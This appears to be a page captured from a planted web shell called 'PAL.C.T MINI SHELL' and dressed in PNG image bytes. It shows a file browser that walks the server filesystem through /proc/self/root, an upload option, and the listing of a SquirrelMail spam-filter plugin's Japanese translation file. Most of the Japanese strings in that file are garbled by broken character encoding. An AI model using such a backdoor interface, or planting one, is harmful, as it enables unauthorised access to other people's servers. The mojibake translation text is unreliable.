‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/squirrelmail/locale/ja_JP/LC_MESSAGES/
upload
files >> //proc/self/root/usr/share/squirrelmail/locale/ja_JP/LC_MESSAGES/sasql.po

# Japanese (ja_JP) sasql translation (SquirrelMail plugin)
# Copyright (C) 2005 Randy Smith
# This file is distributed under the same license as the SquirrelMail package.
# Andre Nicholson <andre@neo-anime.org>, 2005.
msgid ""
msgstr ""
"Project-Id-Version: 3.1.2\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2005-03-29 08:36-0700\n"
"PO-Revision-Date: 2005-11-09 20:14-0500\n"
"Last-Translator: Andre Nicholson <andre@neo-anime.org>\n"
"Language-Team: Japanese <squirrelmail-i18n@lists.sourceforge.net>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=utf-8\n"
"Content-Transfer-Encoding: 8bit\n"

#: dspam.inc.php:82
msgid "DSPAM Settings"
msgstr "DSPAM ã®è¨­å®š"

#: dspam.inc.php:89
msgid "Warning"
msgstr "警告"

#: dspam.inc.php:91
msgid "Enabling DSPAM will disable SpamAssassin scanning of your email."
msgstr ""

#: dspam.inc.php:94
msgid "SpamAssassin settings and white/blacklists will not be used by dspam."
msgstr ""
"DSPAM 㯠SpamAssassin ã®ä¿å­˜ã¨ãƒ›ãƒ¯ã‚¤ãƒˆãƒªã‚¹ãƒˆãƒ»ãƒ–ラックリストを利用ã—ã¾ã›ã‚“。"

#. *
#. * To translators: %s's will be replaced with <a ..> and </a>
#.
#: dspam.inc.php:102
#, php-format
msgid ""
"This %sFAQ%s from the DSPAM web site explains the differences between "
"SpamAssassin and DSPAM and why you might want to use dspam instead of "
"SpamAssassin."
msgstr ""

#: dspam.inc.php:113
msgid ""
"DSPAM is a learning system that filters spam based on what <i>you</i> tell "
"it is spam and what isn't. Messages are analyzed as they are delivered and "
"are assigned a spam probability between 0 and 1. The more messages you "
"receive, both spam and innocent, the better DSPAM learns what <i>you</i> "
"think is spam and what is not."
msgstr ""

#: dspam.inc.php:117
msgid "Reporting Spam"
msgstr "スパムを届ã‘出るãŸã“ã¨"

#: dspam.inc.php:120
msgid ""
"If you receive a spam message in your Inbox, forward the message to "
"<nobr>username-spam@domain</nobr> and it will be learned as spam. For "
"example, if your address is joe@example.com, you would forward the message "
"to <nobr>joe-spam@example.com</nobr>."
msgstr ""

#: dspam.inc.php:126
#, php-format
msgid ""
"You can also move your spam messages to the <i>%s</i> folder. This folder is "
"periodically checked for messages which are then learned as spam and "
"deleted. You do not need to move messages from your %s folder here because "
"they have already been learned as spam."
msgstr ""

#: dspam.inc.php:131
msgid "Reporting False Positives"
msgstr "å½é™½æ€§ã‚’届ã‘出るãŸã“ã¨"

#: dspam.inc.php:134
msgid ""
"From time to time, DSPAM will catch an innocent messages as spam. These "
"messages are called \"false positives\". There is no way to prevent false "
"positives entirely. If you find a false positive, forward the message to "
"<nobr>username-fp@domain</nobr> and it will be learned as an innocent "
"message. For example, if your email address is joe@example.com, you would "
"forward the message to <nobr>joe-fp@example.com</nobr>."
msgstr ""

#: dspam.inc.php:140
#, php-format
msgid ""
"You can also move your false positives to the <i>%s</i> folder from the %s "
"folder. This folder is periodically checked for messages which are then "
"learned as false positives and deleted."
msgstr ""

#: dspam.inc.php:145
msgid "Disclaimer"
msgstr "å…責æ¡é …"

#: dspam.inc.php:148
msgid ""
"DSPAM is a learning system. It only knows what is spam based on what you "
"teach it is spam and what is not. Due to DSPAM's nature, you are more likely "
"to see errors in spam detection until it is trained on your email. If you do "
"not report a message as spam within ten days, the message will be "
"permanently learned as innocent and you will be more likely to receive more "
"spam."
msgstr ""

#. *
#. * To translators: %s's will be replaced by <a ..> and </a>
#.
#: dspam.inc.php:162
#, php-format
msgid "Please read the %sDSPAM Primer%s before enabling DSPAM."
msgstr "DSPAM を有効ã«ã™ã‚‹ã®å‰ã«ã€%sDSPAM 手引書%s を読んã§ãã ã•ã„。"

#: dspam.inc.php:183
msgid "Use DSPAM"
msgstr "DSPAM を使ã†"

#. *
#. * To translators: %s is the name of the spam folder.
#.
#: dspam.inc.php:198
#, php-format
msgid "Clean out your %s folder on opt-in?"
msgstr ""

#: dspam.inc.php:200 purge.inc.php:37
msgid "Note"
msgstr "ãŠçŸ¥ã‚‰ã›"

#. *
#. * To translators: %s is the name of the spam folder.
#.
#: dspam.inc.php:205 purge.inc.php:38
#, php-format
msgid ""
"Your %s folder may be unavailable during the purge. It will become available "
"again when the purge is complete."
msgstr ""

#: dspam.inc.php:214
msgid "Update"
msgstr "æ›´æ–°"

#: move_to.php:98
msgid "No messages were selected."
msgstr "メッセージãŒé¸æŠžã•れã¦ã„ã¾ã›ã‚“"

#: purge.inc.php:30
msgid "Purge"
msgstr "空ã«ã™ã‚‹"

#: purge.inc.php:33
#, php-format
msgid "Delete all messages from your %s folder."
msgstr "ã™ã¹ã¦ãƒ¡ãƒƒã‚»ãƒ¼ã‚¸ã‚’ %s フォルダーã‹ã‚‰å‰Šé™¤ã—ã¾ã™ã€‚"

#: sa_abooksync.inc.php:20
msgid "Allow Senders from Address Book"
msgstr "アドレス帳ã§é€ä¿¡è€…を許å¯ã—ã¾ã™"

#: sa_abooksync.inc.php:26
msgid "Allow"
msgstr "å¯èƒ½ã«ã™ã‚‹"

#: sa_abooksync.inc.php:27
msgid "Allow all address in the address book."
msgstr ""

#. required_hists
#: sa_opts-dist.php:19
msgid "Spam Score"
msgstr "スパムスコア"

#: sa_opts-dist.php:20
msgid ""
"Once all SpamAssassin tests have been run, the resulting score is matched "
"against this value, and if greater than this value, the e-mail message is "
"marked as spam. We recommend a value of '5'."
msgstr ""

#: sa_opts-dist.php:22
msgid "0 - Very Aggressive"
msgstr "0 - ã‚‚ã£ã¨æ”»æ’ƒçš„"

#: sa_opts-dist.php:23
msgid "1"
msgstr "1"

#: sa_opts-dist.php:24
msgid "2 - Aggressive"
msgstr "2 - 攻撃的"

#: sa_opts-dist.php:25
msgid "3"
msgstr "3"

#: sa_opts-dist.php:26
msgid "4"
msgstr "4"

#: sa_opts-dist.php:27
msgid "5 - Recommended"
msgstr "5 - 推薦"

#: sa_opts-dist.php:28
msgid "6"
msgstr "6"

#: sa_opts-dist.php:29
msgid "7"
msgstr "7"

#: sa_opts-dist.php:30
msgid "8 - Lenient"
msgstr "8 - 寛大"

#: sa_opts-dist.php:31
msgid "9"
msgstr "9"

#: sa_opts-dist.php:32
msgid "10 - Very Lenient"
msgstr "10 - ã‚‚ã£ã¨å¯›å¤§"

#: sa_opts-dist.php:33
msgid "Don't Filter"
msgstr "フィルターã—ã¦ãªã„"

#. NOTE: The ordering here is a little odd to allow some inclusion of
#. other option names.
#. subject_tag
#: sa_opts-dist.php:43
msgid "Spam Subject Tag"
msgstr "スパム件åã®ã‚¿ã‚°"

#: sa_opts-dist.php:45
msgid "*****SPAM*****"
msgstr "*****SPAM*****"

#. rewrite_subject
#: sa_opts-dist.php:48 sa_opts-dist.php:63
msgid "Rewrite Subject Line"
msgstr "ä»¶åを書ãç›´ã—ã¾ã™"

#. To translators: %s is the default from subject_tag
#: sa_opts-dist.php:50
#, php-format
msgid ""
"SpamAssassin can re-write the subject line of e-mail that has been "
"determined to be spam by prefixing the original subject with: %s.  To turn "
"on this feature, select this option."
msgstr ""

#. This is here to allow me to include the rewrite_subject title
#. *
#. * To Translators: %s is the title from rewrite_subject
#.
#: sa_opts-dist.php:60
#, php-format
msgid ""
"The text to prefix to the subject of messages determined to be spam. %s must "
"be turned on."
msgstr ""

#: sa_opts-dist.php:64
msgid ""
"SpamAssassin can re-write the subject line of e-mail that has been "
"determined to be spam by prefixing the original subject with this value."
msgstr ""

#. use_terse_report
#: sa_opts-dist.php:70
msgid "Short Report"
msgstr "短ã„レãƒãƒ¼ãƒˆ"

#: sa_opts-dist.php:71
msgid ""
"This option will tell SpamAssassin to use a shorter spam report once the "
"message has been found to be spam."
msgstr ""

#. use_dcc
#: sa_opts-dist.php:77
msgid "Use DCC"
msgstr "DCC を使ã†"

#: sa_opts-dist.php:78
msgid ""
"Checks messages against the DCC (Distrubuted Checksum Clearinghouse) to see "
"if a message matches a known spam message."
msgstr ""

#. use_razor1
#: sa_opts-dist.php:84
msgid "Use SpamNet (version 1)"
msgstr "SpamNet ãƒãƒ¼ã‚¸ãƒ§ãƒ³ 1 を使ã†"

#: sa_opts-dist.php:85 sa_opts-dist.php:92
msgid ""
"Checks messages against SpamNet to see if a message is a known spam message."
msgstr ""

#. use_razor2
#: sa_opts-dist.php:91
msgid "Use SpamNet (version 2)"
msgstr "SpamNet ãƒãƒ¼ã‚¸ãƒ§ãƒ³ 2 を使ã†"

#. always_add_headers
#: sa_opts-dist.php:98
msgid "Always Add Headers"
msgstr "ã„ã¤ã‚‚ヘッダを追加ã™ã‚‹"

#: sa_opts-dist.php:99
msgid "Uncheck if you do not want to add the headers to non-spam."
msgstr ""

#. ok_languages
#: sa_opts-dist.php:105
msgid "Acceptable Languages"
msgstr "é©åˆ‡ãªè¨€èªž"

#: sa_opts-dist.php:106
msgid "Select all the languages you expect to receive e-mail in."
msgstr ""

#: sa_opts-dist.php:112
msgid "All"
msgstr "ã™ã¹ã¦"

#: sa_opts-dist.php:113
msgid "Afrikaans"
msgstr "アフリカーンス語"

#: sa_opts-dist.php:114
msgid "Albanian"
msgstr "アルãƒãƒ‹ã‚¢èªž"

#: sa_opts-dist.php:115
msgid "Amharic"
msgstr "アムãƒãƒ©èªž"

#: sa_opts-dist.php:116
msgid "Arabic"
msgstr "アラビア語"

#: sa_opts-dist.php:117
msgid "Armenian"
msgstr "アルメニア語"

#: sa_opts-dist.php:118
msgid "Basque"
msgstr "ãƒã‚¹ã‚¯èªž"

#: sa_opts-dist.php:119
msgid "Bosnian"
msgstr "ボスニア語"

#: sa_opts-dist.php:120
msgid "Bulgarian"
msgstr "ブルガリア語"

#: sa_opts-dist.php:121
msgid "Byelorussian"
msgstr "ベラルーシ語"

#: sa_opts-dist.php:122
msgid "Catalan"
msgstr "カタロニア語"

#: sa_opts-dist.php:123
msgid "Chinese"
msgstr "中国語"

#: sa_opts-dist.php:124
msgid "Croatian"
msgstr "クロアãƒã‚¢èªž"

#: sa_opts-dist.php:125
msgid "Czech"
msgstr "ãƒã‚§ã‚³èªž"

#: sa_opts-dist.php:126
msgid "Danish"
msgstr "デンマーク語"

#: sa_opts-dist.php:127
msgid "Dutch"
msgstr "オランダ語"

#: sa_opts-dist.php:128
msgid "English"
msgstr "英語"

#: sa_opts-dist.php:129
msgid "Esperanto"
msgstr "エスペラント語"

#: sa_opts-dist.php:130
msgid "Estonian"
msgstr "エストニア語"

#: sa_opts-dist.php:131
msgid "Finnish"
msgstr "フィンランド語"

#: sa_opts-dist.php:132
msgid "French"
msgstr "フランス語"

#: sa_opts-dist.php:133
msgid "Frisian"
msgstr "フリースランド語"

#: sa_opts-dist.php:134
msgid "Georgian"
msgstr "グルジア語"

#: sa_opts-dist.php:135
msgid "German"
msgstr "ドイツ語"

#: sa_opts-dist.php:136
msgid "Greek"
msgstr "ギリシャ語"

#: sa_opts-dist.php:137
msgid "Hebrew"
msgstr "ヘブライ語"

#: sa_opts-dist.php:138
msgid "Hindi"
msgstr "ヒンディー語"

#: sa_opts-dist.php:139
msgid "Hungarian"
msgstr "ãƒãƒ³ã‚¬ãƒªãƒ¼èªž"

#: sa_opts-dist.php:140
msgid "Icelandic"
msgstr "アイスランド語"

#: sa_opts-dist.php:141
msgid "Indonesian"
msgstr "インドãƒã‚·ã‚¢èªž"

#: sa_opts-dist.php:142
msgid "Irish Gaelic"
msgstr "アイルランドã®ã‚²ãƒ¼ãƒ«èªž"

#: sa_opts-dist.php:143
msgid "Italian"
msgstr "イタリア語"

#: sa_opts-dist.php:144
msgid "Japanese"
msgstr "日本語"

#: sa_opts-dist.php:145
msgid "Korean"
msgstr "韓国語"

#: sa_opts-dist.php:146
msgid "Latin"
msgstr "ラテン語"

#: sa_opts-dist.php:147
msgid "Latvian"
msgstr "ラトビア語"

#: sa_opts-dist.php:148
msgid "Lithuanian"
msgstr "リトアニア語"

#: sa_opts-dist.php:149
msgid "Malay"
msgstr "マレー語"

#: sa_opts-dist.php:150
msgid "Marathi"
msgstr "マラーティー語"

#: sa_opts-dist.php:151
msgid "Nepali"
msgstr "ãƒãƒ‘ール語"

#: sa_opts-dist.php:152
msgid "Norwegian"
msgstr "ノルウェー語"

#: sa_opts-dist.php:153
msgid "Persian"
msgstr "ペルシア語"

#: sa_opts-dist.php:154
msgid "Polish"
msgstr "ãƒãƒ¼ãƒ©ãƒ³ãƒ‰èªž"

#: sa_opts-dist.php:155
msgid "Portuguese"
msgstr "ãƒãƒ«ãƒˆã‚¬ãƒ«èªž"

#: sa_opts-dist.php:156
msgid "Quechua"
msgstr "ケãƒãƒ¥ã‚¢èªž"

#: sa_opts-dist.php:157
msgid "Rhaeto-Romance"
msgstr "レート−ロマン語"

#: sa_opts-dist.php:158
msgid "Romanian"
msgstr "ルーマニア語"

#: sa_opts-dist.php:159
msgid "Russian"
msgstr "ロシア語"

#: sa_opts-dist.php:160
msgid "Sanskrit"
msgstr "梵語"

#: sa_opts-dist.php:161
msgid "Scots"
msgstr "スコットランド語"

#: sa_opts-dist.php:162
msgid "Scottish Gaelic"
msgstr "スコットランドã®ã‚²ãƒ¼ãƒ«èªž"

#: sa_opts-dist.php:163
msgid "Serbian"
msgstr "セルビア語"

#: sa_opts-dist.php:164
msgid "Slovak"
msgstr "スロãƒã‚­ã‚¢èªž"

#: sa_opts-dist.php:165
msgid "Slovenian"
msgstr "スロベニア語"

#: sa_opts-dist.php:166
msgid "Spanish"
msgstr "スペイン語"

#: sa_opts-dist.php:167
msgid "Swahili"
msgstr "スワヒリ語"

#: sa_opts-dist.php:168
msgid "Swedish"
msgstr "スウェーデン語"

#: sa_opts-dist.php:169
msgid "Tagalog"
msgstr "タガログ語"

#: sa_opts-dist.php:170
msgid "Tamil"
msgstr "タミル語"

#: sa_opts-dist.php:171
msgid "Thai"
msgstr "タイ語"

#: sa_opts-dist.php:172
msgid "Turkish"
msgstr "トルコ語"

#: sa_opts-dist.php:173
msgid "Ukrainian"
msgstr "ウクライナ語"

#: sa_opts-dist.php:174
msgid "Vietnamese"
msgstr "ベトナム語"

#: sa_opts-dist.php:175
msgid "Welsh"
msgstr "ウェールズ語"

#: sa_opts-dist.php:176
msgid "Yiddish"
msgstr "イディッシュ語"

#. use_bayes
#: sa_opts-dist.php:179
msgid "Use Bayesian Filter"
msgstr "ベイズフィルタを使ã†"

#: sa_opts-dist.php:180
msgid ""
"The Baysian Filter will learn what is spam and what isn't to become a better "
"filter."
msgstr ""

#. auto_learn
#: sa_opts-dist.php:186
msgid "Auto-learn"
msgstr "Auto-learn"

#: sa_opts-dist.php:187
msgid ""
"Automatically feed high and low scoring mails into SpamAssassin's learning "
"systems. (Currently, only Bayesian filtering is supported.)"
msgstr ""

#. report_safe
#: sa_opts-dist.php:193
msgid "Spam Encapsulation"
msgstr "スパムカプセルå°ã˜"

#: sa_opts-dist.php:194
msgid ""
"Encapsulate spam messages into a MIME or plain-text attachment, or you can "
"disable it altogether."
msgstr ""

#: sa_opts-dist.php:196
msgid "Disabled"
msgstr "無効"

#: sa_opts-dist.php:197
msgid "MIME Attachment"
msgstr "MIME å½¢å¼ã®æ·»ä»˜ãƒ•ァイル"

#: sa_opts-dist.php:198
msgid "Text Attachment"
msgstr "テキスト形å¼ã®æ·»ä»˜ãƒ•ァイル"

#. These options were removed as of SpamAssassin 2.50-ish
#. They are here for those running older versions of SA.
#. report_header
#: sa_opts-dist.php:205
msgid "Report in Header"
msgstr "ヘッダã«ãƒ¬ãƒãƒ¼ãƒˆ"

#: sa_opts-dist.php:206
msgid ""
"SpamAssassin will create a report when it determines an e-mail message to be "
"spam.  This report is normally prepended to the e-mail message.  To have the "
"report written as part of the e-mail header, select this option."
msgstr ""

#. defang_mime
#: sa_opts-dist.php:212
msgid "Reformat HTML Spam"
msgstr "HTML ã§ã‚¹ãƒ‘ムをå†ãƒ•ォーマットã—ã¾ã™"

#: sa_opts-dist.php:213
msgid ""
"When an e-mail in HTML format is determined to be spam, SpamAssassin can "
"convert the message to text. To allow this, select this option."
msgstr ""

#. White/black list info
#: sa_opts-dist.php:243
msgid "Whitelist From"
msgstr "ホワイトリストã«è¼‰ã›ã‚‰ã‚Œã‚‹å·®å‡ºäºº"

#: sa_opts-dist.php:244
msgid ""
"E-mail from these addresses will not be marked as spam. You may use '*' as a "
"wildcard to allow a large number of addresses at one time. E.g. Whitelist "
"From '*@aol.com' will not mark any message that claims to be from aol.com as "
"spam."
msgstr ""

#: sa_opts-dist.php:246
msgid "Don't Whitelist From"
msgstr "差出人をホワイトリストã«è¼‰ã›ã‚りã¾ã›ã‚“"

#: sa_opts-dist.php:247
msgid ""
"This address will be excluded from a previous whitelist and will be treated "
"as a normal address, i.e. it will not be automatically allowed."
msgstr ""

#: sa_opts-dist.php:249
msgid "Blacklist From"
msgstr "差出人をブラックリストã«è¼‰ã›ã‚‰ã‚Œã¾ã™"

#: sa_opts-dist.php:250
msgid ""
"E-mail from these addresses will always be marked as spam. You may use '*' "
"as a wildcard to block a large number of addresses at one time. E.g. "
"Blacklist From '*@aol.com' will mark all messages that claims to be from aol."
"com as spam."
msgstr ""

#: sa_opts-dist.php:252
msgid "Don't Blacklist From"
msgstr "差出人をブラックリストã«è¼‰ã›ã‚りã¾ã›ã‚“"

#: sa_opts-dist.php:253
msgid ""
"This address will be excluded from a previous blacklist and will be treated "
"as a normal address, i.e. it will not be automatically denied."
msgstr ""

#: sa_opts-dist.php:255
msgid "Whitelist To"
msgstr "宛先をホワイトリストã«è¼‰ã›ã‚‰ã‚Œã¾ã™"

#: sa_opts-dist.php:256
msgid ""
"E-mail to these addresses will not be marked as spam. This is useful for "
"allowing e-mail lists. For example, you can allow all messages from an e-"
"mail list that sends to 'Tofu-Support-List@beeflovers.com'. You may use '*' "
"as a wildcard to allow a large number of addresses at one time. E.g. "
"Whitelist To '*@aol.com' will not mark any message that claims to be to aol."
"com as spam."
msgstr ""

#: sa_opts-dist.php:258
msgid "Blacklist To"
msgstr "宛先をブラックリストã«è¼‰ã›ã‚‰ã‚Œã‚‹ã¾ã™"

#: sa_opts-dist.php:259
msgid ""
"E-mail to these addresses will be marked as spam. You may use '*' as a "
"wildcard to reject a large number of addresses at one time. E.g. Blacklist "
"To '*@aol.com' will mark all messages that claims to be to aol.com as spam."
msgstr ""

#: sa_settings.inc.php:114
msgid "General Settings"
msgstr "一般ä¿å­˜"

#: sa_settings.inc.php:173
msgid "Save Settings"
msgstr "設定をä¿å­˜"

#: sa_whitelist.inc.php:43 sasql_wblist.php:41
msgid "Error: You must include an e-mail address."
msgstr "エラー:必ãšãƒ¡ãƒ¼ãƒ«ã‚¢ãƒ‰ãƒ¬ã‚¹ã‚’å«ã¿ã¾ã™ã€‚"

#: sa_whitelist.inc.php:49 sasql_wblist.php:48
msgid "Error: You have entered an invalid e-mail address."
msgstr "エラー:入力ã—ãŸãƒ¡ãƒ¼ãƒ«ã‚¢ãƒ‰ãƒ¬ã‚¹ãŒç„¡åйã§ã™ã€‚"

#: sa_whitelist.inc.php:53
msgid "Error: You must select Allow or Deny."
msgstr ""

#: sa_whitelist.inc.php:76
msgid "Global Allow / Deny Address List"
msgstr ""

#: sa_whitelist.inc.php:83 sa_whitelist.inc.php:125
msgid "Address"
msgstr "アドレス"

#: sa_whitelist.inc.php:84 sa_whitelist.inc.php:126
msgid "Type"
msgstr "タイプ"

#: sa_whitelist.inc.php:118
msgid "Personal Allow / Deny Address List"
msgstr ""

#: sa_whitelist.inc.php:127
msgid "Action"
msgstr "動作"

#: sa_whitelist.inc.php:134
msgid "Address Removed"
msgstr "アドレスを削除ã—ã¾ã—ãŸ"

#: sa_whitelist.inc.php:160
#, php-format
msgid "Unknown option: %s"
msgstr "知らãªã„オプション:%s"

#: sa_whitelist.inc.php:168
msgid "Delete"
msgstr "削除"

#: sa_whitelist.inc.php:174
msgid "Edit"
msgstr "編集"

#. echo $edit;
#: sa_whitelist.inc.php:188
msgid "Edit Address"
msgstr "アドレスを編集"

#: sa_whitelist.inc.php:194
msgid "Add New Address"
msgstr "æ–°ã—ã„アドレスを追加"

#: sa_whitelist.inc.php:220
msgid "Address:"
msgstr "アドレス:"

#: sa_whitelist.inc.php:224
msgid "Type:"
msgstr "タイプ:"

#. End Form
#. Help
#: sa_whitelist.inc.php:245
msgid "Legend"
msgstr "凡例"

#. To translators: %s's are the function name
#. and PEAR generated error message.
#.
#: sasql_db.php:14 sasql_db.php:37 sasql_db.php:121 sasql_db.php:165
#: sasql_db.php:206 sasql_db.php:246 sasql_db.php:263 sasql_db.php:296
#: sasql_db.php:326
#, php-format
msgid "Database error in %s: %s"
msgstr "%s ã«ãƒ‡ãƒ¼ã‚¿ãƒ™ãƒ¼ã‚¹ã‚¨ãƒ©ãƒ¼ï¼š%s"

#. To translators: %s's are the function name
#. and PEAR generated error message.
#.
#: sasql_db.php:188
#, php-format
msgid "Database error: %s"
msgstr "データベースエラー:%s"

#: sasql_db.php:227
#, php-format
msgid "sasql_AddPref_multiple Database error: %s"
msgstr "sasql_AddPref_multiple データベースエラー:%s"

#. To translators: %s's are the function name
#. and PEAR generated error message.
#.
#: sasql_db.php:280
#, php-format
msgid "Database error %s: %s"
msgstr "データベースエラー %s:%s"

#: sasql_hooks.php:104 sasql_options.php:62
msgid "Spam Filters"
msgstr "スパムフィルター"

#: sasql_hooks.php:106
msgid "Configure the behavior of your spam filters."
msgstr ""

#: sasql_hooks.php:199
msgid "Add Email to Whitelist"
msgstr "ホワイトリストã«ãƒ¡ãƒ¼ãƒ«ã‚’追加ã—ã¾ã™"

#: sasql_hooks.php:200
msgid "Allow Sender"
msgstr "é€ä¿¡è€…を許å¯ã—ã¾ã™"

#: sasql_hooks.php:201
msgid "Remove Email from Whitelist"
msgstr "ホワイトリストã«ãƒ¡ãƒ¼ãƒ«ã‚’削除ã—ã¾ã™"

#: sasql_hooks.php:202 sasql_hooks.php:204 sasql_hooks.php:209
#: sasql_hooks.php:211
msgid "remove"
msgstr "削除"

#: sasql_hooks.php:203
msgid "Remove Domain from Whitelist"
msgstr "ホワイトリストã«ãƒ‰ãƒ¡ã‚¤ãƒ³ã‚’削除ã—ã¾ã™"

#: sasql_hooks.php:206
msgid "Add Email to Blacklist"
msgstr "ブラックリストã«ãƒ¡ãƒ¼ãƒ«ã‚’追加ã—ã¾ã™"

#: sasql_hooks.php:207
msgid "Block Sender"
msgstr "é€ä¿¡è€…をブロックã—ã¾ã™"

#: sasql_hooks.php:208
msgid "Remove Email from Blacklist"
msgstr "ブラックリストã§ãƒ¡ãƒ¼ãƒ«ã‚’削除ã—ã¾ã™"

#: sasql_hooks.php:210
msgid "Remove Domain from Blacklist"
msgstr "ブラックリストã§ãƒ‰ãƒ¡ã‚¤ãƒ³ã‚’削除ã—ã¾ã™"

#: sasql_hooks.php:217
msgid "Address is already in your whitelist"
msgstr "ã™ã§ã«ã‚¢ãƒ‰ãƒ¬ã‚¹ã¯ãƒ›ãƒ¯ã‚¤ãƒˆãƒªã‚¹ãƒˆã«æŽ²è¼‰ã•れã¾ã—ãŸ"

#: sasql_hooks.php:218 sasql_hooks.php:226
msgid "Whitelisted"
msgstr "ホワイトリストã«è¼‰ã›ã‚‰ã‚Œã‚‹"

#: sasql_hooks.php:225
msgid "Domain is already in your whitelist"
msgstr "ã™ã§ã«ãƒ‰ãƒ¡ã‚¤ãƒ³ã¯ãƒ›ãƒ¯ã‚¤ãƒˆãƒªã‚¹ãƒˆã«æŽ²è¼‰ã•れã¾ã—ãŸ"

#: sasql_hooks.php:239
msgid "Address is already in your blacklist"
msgstr "ã™ã§ã«ã‚¢ãƒ‰ãƒ¬ã‚¹ã¯ãƒ–ãƒ©ãƒƒã‚¯ãƒªã‚¹ãƒˆã«æŽ²è¼‰ã•れã¾ã—ãŸ"

#: sasql_hooks.php:240 sasql_hooks.php:248
msgid "Blacklisted"
msgstr "ブラックリストã«è¼‰ã›ã‚‰ã‚Œã‚‹"

#: sasql_hooks.php:247
msgid "Domain is already in your blacklist"
msgstr "ã™ã§ã«ãƒ‰ãƒ¡ã‚¤ãƒ³ã¯ãƒ–ãƒ©ãƒƒã‚¯ãƒªã‚¹ãƒˆã«æŽ²è¼‰ã•れã¾ã—ãŸ"

#: sasql_hooks.php:291 sasql_hooks.php:349
msgid "Learn as False Positive"
msgstr "å½é™½æ€§ã¨ã—ã¦å­¦ç¿’ã™ã‚‹"

#: sasql_hooks.php:295 sasql_hooks.php:353
msgid "Learn as Spam"
msgstr "スパムã¨ã—ã¦å­¦ç¿’ã™ã‚‹"

#: sasql_options.php:62
msgid "Options"
msgstr "オプション"

#: sasql_wblist.php:53
msgid "Error: Missing option."
msgstr "エラー:オプションを紛失ã—ã¾ã—ãŸã€‚"
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚